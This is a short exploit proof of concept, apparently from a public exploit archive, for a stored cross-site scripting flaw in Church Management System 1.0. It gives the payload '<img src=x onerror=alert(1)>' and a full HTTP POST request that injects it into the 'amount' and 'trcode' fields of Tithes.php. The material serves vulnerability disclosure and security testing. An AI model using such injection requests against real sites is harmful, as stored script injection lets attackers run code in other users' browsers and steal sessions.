Church Management System 1.0 - (Multiple) Stored Cross-Site Scripting Vulnerability

# Exploit Title: Church Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested on: Windows 10

# Proof of Concept :

#Payload: <img src=x onerror=alert(1)>
#Injectable parameters : amount=  and trcode=

###################### REQUEST ##########################################

POST /cman/members/Tithes.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: http://localhost
Connection: close
Referer: http://localhost/cman/members/Tithes.php
Cookie: PHPSESSID=cne2l4cs96krjqpbpus7nv2sjc
Upgrade-Insecure-Requests: 1

amount=<img+src%3dx+onerror%3dalert(1)>&trcode=<img+src%3dx+onerror%3dalert(1)>&save=